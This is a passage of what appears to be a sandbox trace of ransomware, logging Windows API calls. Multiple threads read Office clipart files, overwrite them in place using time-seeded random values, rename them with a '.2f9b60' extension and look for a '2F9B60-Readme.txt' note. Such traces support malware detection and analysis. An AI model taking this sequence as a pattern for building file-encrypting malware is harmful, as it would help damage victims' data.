Seed=0x2aecfb30) returned 0x157b643d [0108.757] RtlRandomEx (in: Seed=0x2aecfb30 | out: Seed=0x2aecfb30) returned 0x4b015f8a [0108.768] ReadFile (in: hFile=0x17b4, lpBuffer=0x41e5b4e0, nNumberOfBytesToRead=0x127e, lpNumberOfBytesRead=0x2aecfb30, lpOverlapped=0x0 | out: lpBuffer=0x41e5b4e0*, lpNumberOfBytesRead=0x2aecfb30*=0x127e, lpOverlapped=0x0) returned 1 [0108.774] SetFilePointerEx (in: hFile=0x17b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.774] WriteFile (in: hFile=0x17b4, lpBuffer=0x41e71d40*, nNumberOfBytesToWrite=0x127e, lpNumberOfBytesWritten=0x2aecfb34, lpOverlapped=0x0 | out: lpBuffer=0x41e71d40*, lpNumberOfBytesWritten=0x2aecfb34*=0x127e, lpOverlapped=0x0) returned 1 [0108.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0108.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603f0 [0108.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8603f0) returned 1 [0108.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e71d40) returned 1 [0108.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5b4e0) returned 1 [0108.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8603f0 [0108.796] SetFilePointerEx (in: hFile=0x17b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.796] WriteFile (in: hFile=0x17b4, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2aecfc50, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2aecfc50*=0x10a, lpOverlapped=0x0) returned 1 [0108.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0108.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0108.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0108.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff40) returned 1 [0108.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0108.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0108.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860330) returned 1 [0108.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.815] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="11") returned 2 [0108.815] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="06") returned 2 [0108.815] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="2c") returned 2 [0108.815] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="32") returned 2 [0108.815] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="ce") returned 2 [0108.815] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="c7") returned 2 [0108.815] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="17") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="08") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="36") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="30") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="97") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="ba") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="47") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="21") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="68") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="fa") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="66") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="95") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="2a") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="82") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="b3") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="58") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="9c") returned 2 [0108.816] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="ec") returned 2 [0108.816] RtlInitAnsiString (in: DestinationString=0x2aecfcc8, SourceString="11062c32cec71708363097ba472168fa66952a82b3589cec" | out: DestinationString="11062c32cec71708363097ba472168fa66952a82b3589cec") [0108.816] RtlAnsiStringToUnicodeString (in: DestinationString=0x2aecfc98, SourceString="11062c32cec71708363097ba472168fa66952a82b3589cec", AllocateDestinationString=1 | out: DestinationString="11062c32cec71708363097ba472168fa66952a82b3589cec") returned 0x0 [0108.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9710 [0108.817] wcscat (in: _Dest=0x20501030, _Source="11062c32cec7" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\11062c32cec7") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\11062c32cec7" [0108.817] wcscat (in: _Dest=0x20501030, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\11062c32cec7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\11062c32cec7.2f9b60" [0108.817] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\11062c32cec7.2f9b60", NtPathName=0x2aecfc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\11062c32cec7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42060b30 [0108.817] NtSetInformationFile (FileHandle=0x17b4, IoStatusBlock=0x2aecfd10, FileInformation=0x42060b30, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060b30) returned 1 [0110.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264ba0) returned 1 [0110.076] NtQueryInformationFile (in: FileHandle=0x17b4, IoStatusBlock=0x2aecfcd8, FileInformation=0x2aecfce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2aecfcd8, FileInformation=0x2aecfce8) returned 0x0 [0110.076] NtSetInformationFile (FileHandle=0x17b4, IoStatusBlock=0x2aecfcd8, FileInformation=0x2aecfce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501030) returned 1 [0110.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9710) returned 1 [0110.094] FlushFileBuffers (hFile=0x17b4) returned 1 [0110.103] CloseHandle (hObject=0x17b4) returned 1 [0110.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20501030 [0110.104] wcscpy (in: _Dest=0x20501030, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.104] wcscat (in: _Dest=0x20501030, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501030) returned 1 [0110.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4acc0) returned 1 Thread: id = 671 os_tid = 0x1160 [0096.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0107.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF", dwFileAttributes=0x20) returned 1 [0108.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe28 [0108.720] GetFileSizeEx (in: hFile=0xe28, lpFileSize=0x2ae4fce0 | out: lpFileSize=0x2ae4fce0*=5684) returned 1 [0108.720] SetFilePointerEx (in: hFile=0xe28, liDistanceToMove=0x1630, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.720] ReadFile (in: hFile=0xe28, lpBuffer=0x2ae4fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ae4fca8, lpOverlapped=0x0 | out: lpBuffer=0x2ae4fc60*, lpNumberOfBytesRead=0x2ae4fca8*=0x4, lpOverlapped=0x0) returned 1 [0108.730] SetFilePointerEx (in: hFile=0xe28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa60 [0108.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860090 [0108.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600c0 [0108.730] NtQuerySystemTime (in: CurrentTime=0x2ae4fba0 | out: CurrentTime=0x2ae4fba0*=132462177142150000) returned 0x0 [0108.730] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x1ffce575 [0108.730] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x61db508c [0108.730] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x40d773ed [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x1cfc2691 [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0xb220fdd [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x32622ea [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x12aaca22 [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x53b6bd59 [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x4de93a0c [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x43fc34e3 [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x626c43a4 [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x7e0631ab [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x760ec151 [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x7461307a [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x2746392c [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x15f946a8 [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x4f148467 [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x64f6159d [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x1741a1d0 [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x39783633 [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0xa49564e [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x506848d7 [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x3e048842 [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x5e166e01 [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x6ec51e18 [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x343163bb [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x6e051e2c [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x7ad7b2a9 [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x79e3456b [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x58d795fd [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x7fd6bdb5 [0108.731] RtlRandomEx (in: Seed=0x2ae4fb90 | out: Seed=0x2ae4fb90) returned 0x302ae166 [0108.742] ReadFile (in: hFile=0xe28, lpBuffer=0x41e75950, nNumberOfBytesToRead=0x1634, lpNumberOfBytesRead=0x2ae4fb90, lpOverlapped=0x0 | out: lpBuffer=0x41e75950*, lpNumberOfBytesRead=0x2ae4fb90*=0x1634, lpOverlapped=0x0) returned 1 [0108.750] SetFilePointerEx (in: hFile=0xe28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.750] WriteFile (in: hFile=0xe28, lpBuffer=0x41e578d0*, nNumberOfBytesToWrite=0x1634, lpNumberOfBytesWritten=0x2ae4fb94, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesWritten=0x2ae4fb94*=0x1634, lpOverlapped=0x0) returned 1 [0108.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0108.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600f0 [0108.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8600f0) returned 1 [0108.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0108.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e75950) returned 1 [0108.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8600f0 [0108.772] SetFilePointerEx (in: hFile=0xe28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.772] WriteFile (in: hFile=0xe28, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2ae4fcb0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2ae4fcb0*=0x10a, lpOverlapped=0x0) returned 1 [0108.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0108.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0108.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8604e0) returned 1 [0108.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0108.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff40) returned 1 [0108.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0108.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0108.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.790] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="3c") returned 2 [0108.790] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="4a") returned 2 [0108.790] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="f4") returned 2 [0108.790] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="d3") returned 2 [0108.790] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="05") returned 2 [0108.790] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="24") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="65") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="72") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="29") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="f7") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="d3") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="32") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="8d") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="43") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="e7") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="88") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="63") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="51") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="a8") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="e6") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="f5") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="26") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="69") returned 2 [0108.791] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="90") returned 2 [0108.791] RtlInitAnsiString (in: DestinationString=0x2ae4fd28, SourceString="3c4af4d30524657229f7d3328d43e7886351a8e6f5266990" | out: DestinationString="3c4af4d30524657229f7d3328d43e7886351a8e6f5266990") [0108.791] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ae4fcf8, SourceString="3c4af4d30524657229f7d3328d43e7886351a8e6f5266990", AllocateDestinationString=1 | out: DestinationString="3c4af4d30524657229f7d3328d43e7886351a8e6f5266990") returned 0x0 [0108.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9940 [0108.792] wcscat (in: _Dest=0x20500f90, _Source="3c4af4d30524" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3c4af4d30524") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3c4af4d30524" [0108.792] wcscat (in: _Dest=0x20500f90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3c4af4d30524.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3c4af4d30524.2f9b60" [0108.792] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3c4af4d30524.2f9b60", NtPathName=0x2ae4fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3c4af4d30524.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42060a70 [0108.792] NtSetInformationFile (FileHandle=0xe28, IoStatusBlock=0x2ae4fd70, FileInformation=0x42060a70, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060a70) returned 1 [0110.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202640b0) returned 1 [0110.075] NtQueryInformationFile (in: FileHandle=0xe28, IoStatusBlock=0x2ae4fd38, FileInformation=0x2ae4fd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ae4fd38, FileInformation=0x2ae4fd48) returned 0x0 [0110.075] NtSetInformationFile (FileHandle=0xe28, IoStatusBlock=0x2ae4fd38, FileInformation=0x2ae4fd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500f90) returned 1 [0110.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9940) returned 1 [0110.115] FlushFileBuffers (hFile=0xe28) returned 1 [0110.128] CloseHandle (hObject=0xe28) returned 1 [0110.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20501210 [0110.130] wcscpy (in: _Dest=0x20501210, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.130] wcscat (in: _Dest=0x20501210, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501210) returned 1 [0110.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ad50) returned 1 Thread: id = 672 os_tid = 0x1164 [0096.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0107.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF", dwFileAttributes=0x20) returned 1 [0108.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xed0 [0108.689] GetFileSizeEx (in: hFile=0xed0, lpFileSize=0x2af7f9a0 | out: lpFileSize=0x2af7f9a0*=20578) returned 1 [0108.689] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x505e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.689] ReadFile (in: hFile=0xed0, lpBuffer=0x2af7f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2af7f968, lpOverlapped=0x0 | out: lpBuffer=0x2af7f920*, lpNumberOfBytesRead=0x2af7f968*=0x4, lpOverlapped=0x0) returned 1 [0108.698] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603f0 [0108.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600f0 [0108.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0108.699] NtQuerySystemTime (in: CurrentTime=0x2af7f860 | out: CurrentTime=0x2af7f860*=132462177141838000) returned 0x0 [0108.699] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x6426aea4 [0108.699] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x5c26f4a0 [0108.699] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x2a4976ac [0108.699] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x6fb2e2ba [0108.699] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x4120f240 [0108.699] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x1b2d7bf1 [0108.699] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x2899b4cf [0108.699] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x39b0da64 [0108.699] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x599eae1 [0108.699] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x77b208a3 [0108.699] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x31fc8d2c [0108.699] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x55c51f98 [0108.699] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x5de4cbcf [0108.699] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0xb5d1f0d [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x389e7fc1 [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 0x75a4130 [0108.700] RtlRandomEx (in: Seed=0x2af7f850 | out: Seed=0x2af7f850) returned 